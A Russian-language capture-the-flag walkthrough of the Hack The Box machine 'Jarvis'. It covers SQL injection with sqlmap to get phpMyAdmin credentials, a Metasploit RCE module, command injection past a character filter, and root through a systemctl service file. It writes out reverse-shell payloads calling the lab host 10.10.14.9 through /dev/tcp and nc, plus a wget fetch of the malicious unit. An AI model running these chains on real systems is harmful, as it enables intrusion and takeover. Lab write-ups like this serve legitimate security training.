HTB Jarvis. ROOT будет наш! #мамкинхакер
Приветствую! Буквально вчера разбирал машину с HTB. Как по мне, отличный полигон по прокачке скилов в области sql инъекций, инъекций команд в командной строке, использованию метасплойта и повышению привилегий.
Для успешного прохождения необходимо:
Знать, как перечислять директории
Иногда смотреть url
Уметь "правильно”гуглить
Немного знать синтаксис питона (python)
В итоге мы узнаем:
На что обращать внимание в url
Как работать с sqlmap
Почему стоит качественно разрабатывать фильтры
Сбор информации
Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.
nmap -A -sC -sV -Pn 10.10.10.143 -p-
Получили следующее:
Начнем с 80 порта. Посетим веб-сайт.
На первый взгляд обычный интернет-магазин. Поклацаем по кнопкам и… будет результат)
В url данной странице есть признаки sql инъекции (http://10.10.10.143/room.php?cod=3). Попробуйте поменять 3 на 1 и вы увидите, как вас перебросит на другую страницу. Для нас это сигнал, попутно запускаем перечисление директорий (использую gobuster).
gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirb/common.txt -x txt,php -e
phpmyadmin… Теперь все ясно, сейчас расскажу. В интернете частенько можно увидеть связку LAMP – (linux, apache, mysql, php). Связка это используется для функционирования интернет магазинов и т.д., короче, где нужна база данных и php LAMP – это самый простой вариант. Администраторам порой сложновато работать с базой данных через консоль, чтобы создавать соответствующие запросы. Именно для них, добрые люди придумали фреймворк (phpmyadmin). Он попроще в плане управления и «очень хорошо» защищен.
План А такой:
Через sql инъекцию получаем логин и пароль админа phpmyadmin
Запускаем метасплойт и ищем эксплойт
Используем полученные данные для формирования боевой нагрузки
Входим в систему
Точка опоры
sqlmap – довольно хороший инструмент, правда следов оставляет море, но для нашей цели подойдет (мы же «белые хакеры»). Составим запрос следующего вида:
sqlmap -u http://10.10.10.143/room.php?cod=3 --batch --random-agent --passwords
Впринцыпе на этом можно заканчивать и переходить к плану Б (добавить в запрос
–os-shell), но мы идем дальше. Есть логин и пароль пробуем авторизоваться.
Доступ получен, переходим к формированию боевой нагрузки. Запускаем метасплойт.
msfconsole
Ищем эксплойт.
search phpmyadmin
Нам нужен этот (exploit/multi/http/phpmyadmin_lfi_rce), но можете попробовать и другие)
use exploit/multi/http/phpmyadmin_lfi_rce
Добавляем недостающие данные. Комментировать не буду, в интернете есть пару курсов по работе с метасплойтом.
set username DBadmin
set password imissyou
set rhosts 10.10.10.143
set lhost tun0
run
Далее внутренняя разведка. Загружу мой любимый скрипт (linpeas.sh).
cd /tmp
upload linpeas.sh
Перейдем в оболочку bash.
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Запускаем скрипт и идем пить кофе. Через пару минут есть результат. Мы можем запускать один файл с правами пользователя pepper.
И также есть вектор для получения рута, но для этого нужно стать пользователем pepper.
ROOT будет наш
Посмотрим, что в этом файле (/var/www/Admin-Utilities/simpler.py).
cat /var/www/Admin-Utilities/simpler.py
Самое интересное тут:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
Суть - вводим ip и пингуем. Тут бы инъекцию команд применить, но есть фильтр.
forbidden = ['&', ';', '-', '`', '||', '|']
К счастью (для нас), упущен один символ «$». Этим и воспользуемся (запускать необходимо через пользователя pepper).
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
В качестве нагрузки:
$(bash)
Работает, но отсутствует вывод команд, кинем удаленный shell. Все shell тут.
Я записываю в файл свою боевую нагрузку (bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1") и поднимаю слушатель. Код следующий:
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1"' > shell.sh
Запускаю скрипт, но с другой нагрузкой:
$(/tmp/shell.sh)
Хорошо, я pepper, время рута. Вернемся к этому бинарнику (/bin/systemctl).
Тут написано как его использовать для получения рута. Мне вчера пришлось немного допилить нагрузку, вот делюсь:
[Service]
Type=oneshot
ExecStart=/bin/sh -с "nc 10.10.14.9 1212 -e /bin/bash"
[Install]
WantedBy=multi-user.target
Мы не используем вывод через переменную $TF, а просто записываем это все в файл (ro.service), который доставляем вот так:
wget http://10.10.14.9:8000/ro.service
Время действовать (не забудь поднять слушатель).
/bin/systemctl link /home/pepper/ro.service
/bin/systemctl enable --now /home/pepper/ro.service
В случае если у вас не получится, создайте файл с новым именем и повторите команды. Менять старый файл нет смысла, чтобы сработало надо перезапустить службу, а прав нет.
Тачка пройдена! ROOT наш.
Вместо вывода
Реалии таковы, что 80% успеха зависит от того, как ты умеешь искать. И лишь 20% от усидчивости) Тачка прикольная, респект автору. Всем удачного взлома!